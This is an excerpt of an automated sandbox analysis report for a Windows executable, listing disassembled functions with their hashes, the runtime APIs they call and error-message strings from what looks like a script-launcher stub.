Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction ID: eed7c7beb8184f8e67058d578fdfd354db35fab34eed7f0e391e23ce50bf447a
Opcode Fuzzy Hash: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction Fuzzy Hash: E5118E31A1CA6696F754BB02E99472A66A0FB89BE8F040234EA2DC7794DF3CD814C740

Function 00007FF6404E81F0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E821D
K32EnumProcessModules.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E827A

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E8305
K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E8364
FreeLibrary.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E8375
FreeLibrary.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E838A

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 639de59220823cace7c77af6f37b7d772b01f3b75ea0781fa3cc2fa807537d27
Instruction ID: 034fac8dac3773cf40ee69d2dac4f5db937848fbfd48adeca7cb6d57e4ecc282
Opcode Fuzzy Hash: 639de59220823cace7c77af6f37b7d772b01f3b75ea0781fa3cc2fa807537d27
Instruction Fuzzy Hash: B0419272A1DA92D1EA30FB11A5402BA6394FF89BD4F444139DF5D97789DE3CE401C780

Function 00007FF6404FA5D8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA5E7
FlsSetValue.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA61D
FlsSetValue.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA64A
FlsSetValue.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA65B
FlsSetValue.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA66C
SetLastError.KERNEL32(?,?,?,00007FF6404F43FD,?,?,?,?,00007FF6404F979A,?,?,?,?,00007FF6404F649F), ref: 00007FF6404FA687

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5b7c94c1c225e14586273ae0994f3fea44242cff202284b06bfee03021f35fa8
Instruction ID: b64dd40b253b18a8bbe84778933883f3cd32f1fef348ec2b8a951752d4b9c536
Opcode Fuzzy Hash: 5b7c94c1c225e14586273ae0994f3fea44242cff202284b06bfee03021f35fa8
Instruction Fuzzy Hash: 9C116D24F4C662E2FA587722565917D228B9F487B4F084734DC7ECB7D6DE2CB4118702

Function 00007FF6404E2300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6404E2338
DialogBoxIndirectParamW.USER32 ref: 00007FF6404E23FE
DeleteObject.GDI32 ref: 00007FF6404E2431
DestroyIcon.USER32 ref: 00007FF6404E2443

Strings

Unhandled exception in script, xrefs: 00007FF6404E2368

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 2f02a126994589ece2bf0b221661227d336c2ada993d2ff489732679099e34b6
Instruction ID: bbc525334e2aa9c077ecc34c495dd18d7bf194e79ba6aa1856a38e0a29ca8308
Opcode Fuzzy Hash: 2f02a126994589ece2bf0b221661227d336c2ada993d2ff489732679099e34b6
Instruction Fuzzy Hash: 80317C32A0DA9299EB24FF61E9552FA6360FF89788F440135EA4D8BB99DF3CD100C700

Function 00007FF6404E2760 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

MessageBoxW.USER32 ref: 00007FF6404E283B
MessageBoxA.USER32 ref: 00007FF6404E284F

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6404E2843
Error, xrefs: 00007FF6404E282C
%s%s: %s, xrefs: 00007FF6404E27EC

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Error$Error/warning (ANSI fallback)
API String ID: 1878133881-640379615
Opcode ID: c7e22cebafa3b4081381e7f20538df90bc3c47857982eb0ae5879fef5a553f49
Instruction ID: 8fdea9c080354823018bc7794959ffe1a56e67eba9726776bf4b4746d7d2f12b
Opcode Fuzzy Hash: c7e22cebafa3b4081381e7f20538df90bc3c47857982eb0ae5879fef5a553f49
Instruction Fuzzy Hash: 4321517261CA96A1FA24FB10F4517EA6364FF84788F400136EA8C93B99DF7CD645C780

Function 00007FF6404F8DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6404F8DC5
GetProcAddress.KERNEL32 ref: 00007FF6404F8DDB
FreeLibrary.KERNEL32 ref: 00007FF6404F8E02

Strings

CorExitProcess, xrefs: 00007FF6404F8DD4
mscoree.dll, xrefs: 00007FF6404F8DBC

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction ID: d4fc5498ea7318f53537cfa785147e5897ce368d805e0ddb2dfcd704c11da3f3
Opcode Fuzzy Hash: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction Fuzzy Hash: 81F04F21B1DB12A1FA18BB24A4983796321EF4AB65F540639D97D8A3E4CF2CD549C300

Function 00007FF640508678 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6405086A0
_set_statfp.LIBCMT ref: 00007FF6405086BB
_set_statfp.LIBCMT ref: 00007FF6405086D7
_set_statfp.LIBCMT ref: 00007FF640508713

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 001b1ef2e6aecc85541d158118c28d47e3565e1bfbc7644172781a8234dd8869
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 5711B232E1CA2362F65C3128D655B7D1140EF6737CF6A0634EDFE867DA8E2EA8808510

Function 00007FF6404FA6A0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6404F98B3,?,?,00000000,00007FF6404F9B4E,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404FA6BF
FlsSetValue.KERNEL32(?,?,?,00007FF6404F98B3,?,?,00000000,00007FF6404F9B4E,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404FA6DE
FlsSetValue.KERNEL32(?,?,?,00007FF6404F98B3,?,?,00000000,00007FF6404F9B4E,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404FA706
FlsSetValue.KERNEL32(?,?,?,00007FF6404F98B3,?,?,00000000,00007FF6404F9B4E,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404FA717
FlsSetValue.KERNEL32(?,?,?,00007FF6404F98B3,?,?,00000000,00007FF6404F9B4E,?,?,?,?,?,00007FF6404F9ADA), ref: 00007FF6404FA728

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 313936804f2539caa5b411e3780e1aa067584e6fc9dd7d8d0a30b7f4ad6b7a29
Instruction ID: 9270d81edf57d1095dfa68cf2718a3606eebceb162612fbf8d19bff2acd8ac43
Opcode Fuzzy Hash: 313936804f2539caa5b411e3780e1aa067584e6fc9dd7d8d0a30b7f4ad6b7a29
Instruction Fuzzy Hash: 9E115E64F0C662E2FA58B7269645579219B5F983B0F084334EC3ECB7D6DE2CF9118701

Function 00007FF6404FA534 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6404FA545
FlsSetValue.KERNEL32 ref: 00007FF6404FA564
FlsSetValue.KERNEL32 ref: 00007FF6404FA58C
FlsSetValue.KERNEL32 ref: 00007FF6404FA59D
FlsSetValue.KERNEL32 ref: 00007FF6404FA5AE

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 8dbaaab3785cb5cbfef991dcb4b39f74944edf537148ee7de4100f4564720b13
Instruction ID: 51b98c31ef0ea062ffa1152fea1eb07504785dc448ceaa345d1643a5bbdef9b7
Opcode Fuzzy Hash: 8dbaaab3785cb5cbfef991dcb4b39f74944edf537148ee7de4100f4564720b13
Instruction Fuzzy Hash: 451123A0E4C227F2FA68B77644591B9228B4F49370E086734D93ECB3D2ED2CB8518302

Function 00007FF6404F52B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F52EC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F5416
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F54CC

Strings

verbose, xrefs: 00007FF6404F52C0

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction ID: c929a27461afeba3e76d11864a1beaef009112ee6c67597de271af61dfb95879
Opcode Fuzzy Hash: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction Fuzzy Hash: 2391AF32A0CA66E1E721BE29E45037D379BAB40B99F884136DB5D873D9DF3CE8458304

Function 00007FF6404FEED8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FF1B7

Part of subcall function 00007FF6404F6D4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F6D69

Strings

UTF-16LEUNICODE, xrefs: 00007FF6404FF155
ccs, xrefs: 00007FF6404FF0F2
UTF-8, xrefs: 00007FF6404FF136

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction ID: 309420085532cd179c2b0c260f54809d0f7e54be323ac4e172d0e8a3e367e090
Opcode Fuzzy Hash: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction Fuzzy Hash: 9581A272E0C223FAF7747F25C21027926AAAF11B48F558035CA09D7796DF2DE941A722

Function 00007FF6404EC968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6404EC993
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6404ECA2A
RtlUnwindEx.KERNEL32 ref: 00007FF6404ECA84

Strings

csm, xrefs: 00007FF6404ECA11

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction ID: ea18bcb2ca4c266a869d2e7a81082bc039e02fc8e56005ab48a7f25f1fed8839
Opcode Fuzzy Hash: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction Fuzzy Hash: 0D51A132B2D626EADB14FB15E444A787791FB44B89F108130EA5987788EF7CE842C780

Function 00007FF6404EE1F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6404EE257
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6404EE2A3

Strings

MOC, xrefs: 00007FF6404EE26B
RCC, xrefs: 00007FF6404EE273

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 7372cc8c5436f01c7c5bf562e068c966f7e5f7c30121bdd0ddd9e56561cf3a97
Instruction ID: d26ef062bfe7f57b41249af47701fcc6fa16d6a2e638fa0a049ebbc3da8f672a
Opcode Fuzzy Hash: 7372cc8c5436f01c7c5bf562e068c966f7e5f7c30121bdd0ddd9e56561cf3a97
Instruction Fuzzy Hash: B3617F3290CBD5D5EB21EB16E4407AAB7A0FB85794F044225EB9C47B99DF7CE190CB40

Function 00007FF6404EE5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6404EE5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6404EE6B8

Strings

csm, xrefs: 00007FF6404EE70A
csm, xrefs: 00007FF6404EE5F2

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction ID: 3435bf6396a4e8ad41bffa82bdd1c5e47a5f51866054ab524ff2bc78b19782cd
Opcode Fuzzy Hash: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction Fuzzy Hash: 1951AF32A0C262E6EB64FF22904436877A1EB55B84F144136DA9C87BD5CF3CEA51CB81

Function 00007FF6404E25F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

MessageBoxW.USER32 ref: 00007FF6404E2686
MessageBoxA.USER32 ref: 00007FF6404E269A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6404E268E
Error, xrefs: 00007FF6404E2677

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error$Error/warning (ANSI fallback)
API String ID: 1878133881-653037927
Opcode ID: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction ID: c0eb819fd3564ee5e643f48b34dc94857462298f51cb2860743b6e197fce8d6d
Opcode Fuzzy Hash: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction Fuzzy Hash: 80118B7262CA96A1FA24FB10F551BA92364FB84B88F901135DA9C87744CF3CD605C740

Function 00007FF6404E2870 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

MessageBoxW.USER32 ref: 00007FF6404E2906
MessageBoxA.USER32 ref: 00007FF6404E291A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6404E290E
Warning, xrefs: 00007FF6404E28F7

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error/warning (ANSI fallback)$Warning
API String ID: 1878133881-2698358428
Opcode ID: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction ID: 6898f3b46c731db5639d573c148691f02ad36a90d9b99ba9fc6f534e9f9b8114
Opcode Fuzzy Hash: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction Fuzzy Hash: 73118B7262CA96A1FA24FB10F551BA93364FB84B88F901135DA9C87744CF3CD604C740

Function 00007FF6404FB8B0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6404FB92F
WriteFile.KERNEL32 ref: 00007FF6404FBBF7
WriteFile.KERNEL32 ref: 00007FF6404FBC3D
GetLastError.KERNEL32 ref: 00007FF6404FBCF3

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
